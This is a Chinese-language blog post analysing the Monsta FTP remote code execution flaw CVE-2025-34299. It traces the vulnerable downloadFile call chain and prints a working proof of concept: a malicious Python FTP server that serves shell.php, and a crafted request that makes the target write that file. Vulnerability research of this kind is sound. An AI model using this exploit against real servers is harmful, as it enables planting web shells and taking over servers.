MonstaFTPCVE-2025-34299RCE浅析

admin 2026-05-06 07:04:34 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析了MonstaFTP软件CVE-2025-34299远程代码执行漏洞。通过api.php的downloadFile功能调用链,攻击者可通过恶意FTP服务器诱使目标下载PHPwebshell实现RCE。文章提供了完整的漏洞复现方法,包括Python恶意FTP服务器代码和攻击请求构造示例。 综合评分: 85 文章分类: 漏洞分析,WEB安全,渗透测试,安全工具,红队


cover_image

Monsta FTP CVE-2025-34299 RCE 浅析

原创

Ha1ey Ha1ey

安全白白

2026年1月6日 08:01 北京

在小说阅读器读本章

去阅读

官网:https://www.monstaftp.com/

分析

首先看一下入口点 application/api/api.php

根据我们传入的 request参数中 actionName进入 \RequestMarshaller::marshallRequest方法

跳过几个特殊的方法 来到这里

\RequestDispatcher::dispatchRequest 方法,数组中的方法可以直接被调用到,这里是 downloadFile

来到 \RequestDispatcher::downloadFile,这里$this->connectAndAuthenticate();不是web 的鉴权 是 ftp 的

\ConnectionBase::downloadFile ,这里直接用最普通的 ftp

可以看到 \FTPConnection::handleDownloadFile 中 调用了@ftp_get 进行了文件写入

启动一个 ftp 的监听放一个php,使目标下载即可

evilftp.py

import os
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer

classEvilFTPHandler(FTPHandler):
    def on_connect(self):
        print(f"[+] FTP client connected: {self.remote_ip}")
    def on_login(self, username):
        print(f"[+] FTP login: {username}")
    def on_file_sent(self, file):
        print(f"[+] File sent: {file}")

def start_evil_ftp(host="0.0.0.0", port=2121):
    ftp_root = "/tmp/evilftp"
    os.makedirs(ftp_root, exist_ok=True)
    print(f"[*] FTP root directory: {ftp_root}")
    filename = "shell.php"
    filepath = os.path.join(ftp_root, filename)
&nbsp; &nbsp; payload =&nbsp;"<?php phpinfo(); ?>"
&nbsp; &nbsp; with&nbsp;open(filepath,&nbsp;"w")&nbsp;as f:
&nbsp; &nbsp; &nbsp; &nbsp; f.write(payload)
&nbsp; &nbsp; print(f"[+] Payload file created: {filename}")
&nbsp; &nbsp; username =&nbsp;'test'
&nbsp; &nbsp; password =&nbsp;'test'
&nbsp; &nbsp; print(f"[+] FTP credentials: {username} / {password}")
&nbsp; &nbsp; authorizer = DummyAuthorizer()
&nbsp; &nbsp; authorizer.add_user(username, password, ftp_root, perm="elradfmw")
&nbsp; &nbsp; handler = EvilFTPHandler
&nbsp; &nbsp; handler.authorizer = authorizer
&nbsp; &nbsp; handler.banner =&nbsp;"220 Evil FTP Server Ready"
&nbsp; &nbsp; server = FTPServer((host, port), handler)
&nbsp; &nbsp; print(f"[*] Evil FTP listening on {host}:{port}")
&nbsp; &nbsp; server.serve_forever()

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; start_evil_ftp()

最后构造的 request 参数为

request={
&nbsp; &nbsp;&nbsp;"actionName":&nbsp;"downloadFile",
&nbsp; &nbsp;&nbsp;"connectionType":&nbsp;"ftp",
&nbsp; &nbsp;&nbsp;"configuration": {
&nbsp; &nbsp; &nbsp;&nbsp;"host":&nbsp;"127.0.0.1",
&nbsp; &nbsp; &nbsp;&nbsp;"port":&nbsp;2121,
&nbsp; &nbsp; &nbsp;&nbsp;"username":&nbsp;"test",
&nbsp; &nbsp; &nbsp;&nbsp;"password":&nbsp;"test"
&nbsp; &nbsp; },
&nbsp; &nbsp;&nbsp;"context": {
&nbsp; &nbsp; &nbsp;&nbsp;"remotePath":&nbsp;"shell.php",
&nbsp; &nbsp; &nbsp;&nbsp;"localPath":&nbsp;"shell.php"
&nbsp; &nbsp; }
&nbsp; }

本文首发于先知社区:https://xz.aliyun.com/news/91007


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全白白 Ha1ey Ha1ey《Monsta FTP CVE-2025-34299 RCE 浅析》

评论:0   参与:  0